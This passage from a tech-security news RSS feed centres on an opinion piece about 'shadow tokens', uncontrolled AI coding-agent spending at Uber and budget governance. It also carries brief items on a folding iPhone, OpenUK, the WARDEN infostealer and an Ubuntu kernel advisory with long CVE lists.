CVE-2026-52992, CVE-2026-52993, CVE-2026-52995, CVE-2026-52998,
CVE-2026-52999, CVE-2026-53001, CVE-2026-53002, CVE-2026-53003,
CVE-2026-53004, CVE-2026-53006, CVE-2026-53011, CVE-2026-53012,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53037, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041,
CVE-2026-53043, CVE-2026-53045, CVE-2026-53046, CVE-2026-53047,
CVE-2026-53048, CVE-2026-53049, CVE-2026-53050, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53064,
CVE-2026-53065, CVE-2026-53068, CVE-2026-53069, CVE-2026-53071,
CVE-2026-53072, CVE-2026-53073, CVE-2026-53074, CVE-2026-53075,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53096, CVE-2026-53112, CVE-2026-53128, CVE-2026-53130,
CVE-2026-53287, CVE-2026-53291, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53304, CVE-2026-53306, CVE-2026-53309,
CVE-2026-53320, CVE-2026-53369, CVE-2026-53379, CVE-2026-63860,
CVE-2026-63865, CVE-2026-64018, CVE-2026-64032, CVE-2026-64033,
CVE-2026-64034, CVE-2026-64039, CVE-2026-64046, CVE-2026-64047,
CVE-2026-64055, CVE-2026-64056, CVE-2026-64083, CVE-2026-64084,
CVE-2026-64085, CVE-2026-64086, CVE-2026-64087, CVE-2026-64088,
CVE-2026-64089, CVE-2026-64096, CVE-2026-64102, CVE-2026-64103,
CVE-2026-64113, CVE-2026-64114, CVE-2026-64115, CVE-2026-64125,
CVE-2026-64133, CVE-2026-64135, CVE-2026-64153, CVE-2026-64155,
CVE-2026-64164, CVE-2026-64165, CVE-2026-64166, CVE-2026-64168,
CVE-2026-64173, CVE-2026-64174, CVE-2026-64177, CVE-2026-64178,
CVE-2026-64179, CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</guid>
<pubDate>Fri, 24 Jul 2026 14:04:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Here’s How Apple Gets Folks to Pay More for a Folding iPhone]]></title>
<description><![CDATA[Commentary: Hype around an expensive folding iPhone is giving me some déjà vu.]]></description>
<link>https://tsecurity.de/de/3691452/it-nachrichten/heres-how-apple-gets-folks-to-pay-more-for-a-folding-iphone/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691452/it-nachrichten/heres-how-apple-gets-folks-to-pay-more-for-a-folding-iphone/</guid>
<pubDate>Fri, 24 Jul 2026 14:04:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Commentary: Hype around an expensive folding iPhone is giving me some déjà vu.]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenUK calls for a UK version of the Linux Foundation]]></title>
<description><![CDATA[Tech sovereignty needs to be a part of the UK government’s reindustrialisation plans, and this requires an open source focus]]></description>
<link>https://tsecurity.de/de/3691411/it-nachrichten/openuk-calls-for-a-uk-version-of-the-linux-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691411/it-nachrichten/openuk-calls-for-a-uk-version-of-the-linux-foundation/</guid>
<pubDate>Fri, 24 Jul 2026 13:34:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Tech sovereignty needs to be a part of the UK government’s reindustrialisation plans, and this requires an open source focus]]></content:encoded>
</item>
<item>
<title><![CDATA[New WARDEN Stealer Targets 330+ Apps and 200 Crypto Extensions on Windows]]></title>
<description><![CDATA[New malware-as-a-service (MaaS) offering “WARDEN” has emerged on cybercrime forums, pitching a Windows infostealer that blends credential theft, cryptocurrency hijacking, and payload delivery behind a single, feature-rich control panel. Marketed by the operator using the handle “WardenStealer,” t...]]></description>
<link>https://tsecurity.de/de/3691380/it-security-nachrichten/new-warden-stealer-targets-330-apps-and-200-crypto-extensions-on-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691380/it-security-nachrichten/new-warden-stealer-targets-330-apps-and-200-crypto-extensions-on-windows/</guid>
<pubDate>Fri, 24 Jul 2026 13:26:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>New malware-as-a-service (MaaS) offering “WARDEN” has emerged on cybercrime forums, pitching a Windows infostealer that blends credential theft, cryptocurrency hijacking, and payload delivery behind a single, feature-rich control panel. Marketed by the operator using the handle “WardenStealer,” the platform appears aimed at traffickers and other financially motivated actors who want turnkey data-theft and monetization workflows […]</p>
<p>The post <a href="https://cyberpress.org/new-warden-stealer-targets-330-apps/">New WARDEN Stealer Targets 330+ Apps and 200 Crypto Extensions on Windows</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8603-1: Linux kernel (Azure) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691319/unix-server/usn-8603-1-linux-kernel-azure-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691319/unix-server/usn-8603-1-linux-kernel-azure-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 13:02:31 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - x86 platform drivers;
  - PSP security protocol;
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - User-Mode Linux (UML);
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Intel NPU Driver;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Auxiliary display drivers;
  - Drivers core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - Buffer Sharing and Synchronization framework;
  - DPLL subsystem;
  - EDAC drivers;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - FWCTL subsystem;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Microsoft Hyper-V drivers;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - I3C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device core drivers;
  - IOMMU subsystem;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - NVIDIA Tegra memory controller driver;
  - IBM Advanced System Management driver;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Texas Instruments network drivers;
  - MediaTek network drivers;
  - NTB driver;
  - NVME drivers;
  - Device tree and open firmware driver;
  - Parport drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - Chrome hardware platform drivers;
  - ACPI WMI driver;
  - Generic PM domains;
  - MediaTek PM domains;
  - Power supply drivers;
  - Remote Processor subsystem;
  - MPAM driver;
  - Amlogic Meson reset controller drivers;
  - S/390 drivers;
  - SCSI subsystem;
  - NVIDIA Tegra Control Backbone (CBB) driver;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - Thunderbolt and USB4 drivers;
  - TTY drivers;
  - Userspace I/O drivers;
  - USB Device Class drivers;
  - ULPI bus;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Dual Role (OTG-ready) Controller drivers;
  - USB Serial drivers;
  - USB Type-C support driver;
  - USB Type-C Port Controller Manager driver;
  - TI TPS6598x USB Power Delivery controller driver;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM AMD SEV Guest driver;
  - Xen hypervisor drivers;
  - 9P distributed file system;
  - File systems infrastructure;
  - AFS file system;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - HugeTLB file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Overlay file system;
  - Diskquota system;
  - SMB network file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - DRM TTM subsystem;
  - Codetag library;
  - Control group (cgroup);
  - Kernel CPU control infrastructure;
  - Memory management;
  - Tracing infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Freescale ENETC Ethernet drivers;
  - Memory Management;
  - KVM subsystem;
  - Linked list library;
  - Netfilter;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Bluetooth subsystem;
  - Networking core;
  - Network shaper API;
  - Network traffic control;
  - TCP network protocol;
  - XFRM subsystem;
  - User-space API (UAPI);
  - io_uring subsystem;
  - IPC subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - DMA mapping infrastructure;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - IRQ subsystem;
  - Kexec HandOver (KHO);
  - Locking primitives;
  - Padata parallel execution mechanism;
  - Scheduler infrastructure;
  - Timer subsystem;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KProbes tracing;
  - KASAN memory debugging framework;
  - 802.1Q VLAN protocol;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Distributed Switch Architecture;
  - Ethtool driver;
  - Handshake API;
  - HSR network protocol;
  - IPv4 networking;
  - IPv6 networking;
  - IUCV driver;
  - L2TP protocol;
  - MAC80211 subsystem;
  - Multipath TCP;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - Integrity Measurement Architecture(IMA) framework;
  - Key management;
  - Landlock security;
  - Linux Security Modules (LSM) Framework;
  - SELinux security module;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - FourSemi audio codecs;
  - Texas InstrumentS Audio (ASoC/HDA) drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2026-31532, CVE-2026-31574, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31579, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31589, CVE-2026-31590, CVE-2026-31591, CVE-2026-31592,
CVE-2026-31593, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31600,
CVE-2026-31601, CVE-2026-31602, CVE-2026-31603, CVE-2026-31604,
CVE-2026-31605, CVE-2026-31606, CVE-2026-31607, CVE-2026-31608,
CVE-2026-31609, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612,
CVE-2026-31613, CVE-2026-31614, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31620,
CVE-2026-31621, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31686, CVE-2026-31694, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31703, CVE-2026-31704,
CVE-2026-31705, CVE-2026-31706, CVE-2026-31707, CVE-2026-31708,
CVE-2026-31709, CVE-2026-31710, CVE-2026-31711, CVE-2026-31712,
CVE-2026-31713, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31717, CVE-2026-31718, CVE-2026-31719, CVE-2026-43058,
CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43348,
CVE-2026-43349, CVE-2026-43350, CVE-2026-43490, CVE-2026-43491,
CVE-2026-43492, CVE-2026-43493, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43498, CVE-2026-43499, CVE-2026-43501,
CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836,
CVE-2026-45837, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45845, CVE-2026-45846, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45988, CVE-2026-45989, CVE-2026-45990, CVE-2026-45991,
CVE-2026-45994, CVE-2026-45995, CVE-2026-45996, CVE-2026-45997,
CVE-2026-45999, CVE-2026-46001, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46008, CVE-2026-46009, CVE-2026-46010, CVE-2026-46011,
CVE-2026-46012, CVE-2026-46013, CVE-2026-46014, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46020,
CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024,
CVE-2026-46025, CVE-2026-46026, CVE-2026-46027, CVE-2026-46028,
CVE-2026-46029, CVE-2026-46030, CVE-2026-46031, CVE-2026-46032,
CVE-2026-46033, CVE-2026-46034, CVE-2026-46035, CVE-2026-46036,
CVE-2026-46037, CVE-2026-46038, CVE-2026-46039, CVE-2026-46040,
CVE-2026-46041, CVE-2026-46042, CVE-2026-46043, CVE-2026-46044,
CVE-2026-46045, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053,
CVE-2026-46054, CVE-2026-46056, CVE-2026-46057, CVE-2026-46058,
CVE-2026-46059, CVE-2026-46060, CVE-2026-46061, CVE-2026-46062,
CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46066,
CVE-2026-46067, CVE-2026-46068, CVE-2026-46069, CVE-2026-46070,
CVE-2026-46071, CVE-2026-46072, CVE-2026-46073, CVE-2026-46074,
CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078,
CVE-2026-46079, CVE-2026-46080, CVE-2026-46081, CVE-2026-46082,
CVE-2026-46083, CVE-2026-46084, CVE-2026-46085, CVE-2026-46086,
CVE-2026-46087, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46093, CVE-2026-46094,
CVE-2026-46095, CVE-2026-46096, CVE-2026-46097, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46100, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46103, CVE-2026-46104, CVE-2026-46105, CVE-2026-46106,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46109, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46115, CVE-2026-46116, CVE-2026-46117, CVE-2026-46118,
CVE-2026-46119, CVE-2026-46120, CVE-2026-46121, CVE-2026-46122,
CVE-2026-46123, CVE-2026-46124, CVE-2026-46125, CVE-2026-46126,
CVE-2026-46127, CVE-2026-46128, CVE-2026-46129, CVE-2026-46130,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46134,
CVE-2026-46135, CVE-2026-46136, CVE-2026-46137, CVE-2026-46138,
CVE-2026-46139, CVE-2026-46140, CVE-2026-46141, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46147, CVE-2026-46148, CVE-2026-46149, CVE-2026-46150,
CVE-2026-46151, CVE-2026-46152, CVE-2026-46153, CVE-2026-46154,
CVE-2026-46155, CVE-2026-46156, CVE-2026-46157, CVE-2026-46158,
CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46162,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46165, CVE-2026-46166,
CVE-2026-46167, CVE-2026-46168, CVE-2026-46169, CVE-2026-46170,
CVE-2026-46171, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46175, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46179, CVE-2026-46180, CVE-2026-46181, CVE-2026-46182,
CVE-2026-46183, CVE-2026-46184, CVE-2026-46185, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46188, CVE-2026-46189, CVE-2026-46190,
CVE-2026-46191, CVE-2026-46192, CVE-2026-46193, CVE-2026-46194,
CVE-2026-46195, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46202,
CVE-2026-46203, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46210,
CVE-2026-46211, CVE-2026-46212, CVE-2026-46213, CVE-2026-46214,
CVE-2026-46215, CVE-2026-46216, CVE-2026-46218, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46221, CVE-2026-46222, CVE-2026-46223,
CVE-2026-46224, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227,
CVE-2026-46228, CVE-2026-46229, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46232, CVE-2026-46233, CVE-2026-46234, CVE-2026-46235,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46239, CVE-2026-46240,
CVE-2026-46241, CVE-2026-46242, CVE-2026-46243, CVE-2026-46244,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46275, CVE-2026-46276,
CVE-2026-46277, CVE-2026-46278, CVE-2026-46279, CVE-2026-46280,
CVE-2026-46281, CVE-2026-46282, CVE-2026-46283, CVE-2026-46284,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46288,
CVE-2026-46289, CVE-2026-46290, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46295, CVE-2026-46296,
CVE-2026-46297, CVE-2026-46298, CVE-2026-46299, CVE-2026-46301,
CVE-2026-46302, CVE-2026-46303, CVE-2026-46304, CVE-2026-46305,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46308, CVE-2026-46309,
CVE-2026-46310, CVE-2026-46311, CVE-2026-46312, CVE-2026-46313,
CVE-2026-46314, CVE-2026-46315, CVE-2026-46316, CVE-2026-46317,
CVE-2026-46318, CVE-2026-46319, CVE-2026-46320, CVE-2026-46321,
CVE-2026-46322, CVE-2026-46324, CVE-2026-46332, CVE-2026-52904,
CVE-2026-52905, CVE-2026-52906, CVE-2026-52907, CVE-2026-52911,
CVE-2026-52912, CVE-2026-52913, CVE-2026-52914, CVE-2026-52915,
CVE-2026-52916, CVE-2026-52918, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52923, CVE-2026-52925,
CVE-2026-52926, CVE-2026-52927, CVE-2026-52928, CVE-2026-52931,
CVE-2026-52932, CVE-2026-52933, CVE-2026-52934, CVE-2026-52936,
CVE-2026-52937, CVE-2026-52941, CVE-2026-52943, CVE-2026-52944,
CVE-2026-52949, CVE-2026-52950, CVE-2026-52951, CVE-2026-52952,
CVE-2026-52953, CVE-2026-52954, CVE-2026-52955, CVE-2026-52956,
CVE-2026-52957, CVE-2026-52958, CVE-2026-52959, CVE-2026-52960,
CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964,
CVE-2026-52965, CVE-2026-52967, CVE-2026-52968, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52971, CVE-2026-52973, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52976, CVE-2026-52977, CVE-2026-52978,
CVE-2026-52979, CVE-2026-52980, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52983, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52987, CVE-2026-52988, CVE-2026-52989, CVE-2026-52990,
CVE-2026-52991, CVE-2026-52992, CVE-2026-52993, CVE-2026-52994,
CVE-2026-52995, CVE-2026-52996, CVE-2026-52997, CVE-2026-52998,
CVE-2026-52999, CVE-2026-53000, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53005, CVE-2026-53006,
CVE-2026-53007, CVE-2026-53008, CVE-2026-53009, CVE-2026-53010,
CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014,
CVE-2026-53015, CVE-2026-53016, CVE-2026-53017, CVE-2026-53018,
CVE-2026-53019, CVE-2026-53020, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53024, CVE-2026-53025, CVE-2026-53026,
CVE-2026-53027, CVE-2026-53028, CVE-2026-53029, CVE-2026-53030,
CVE-2026-53031, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034,
CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53038,
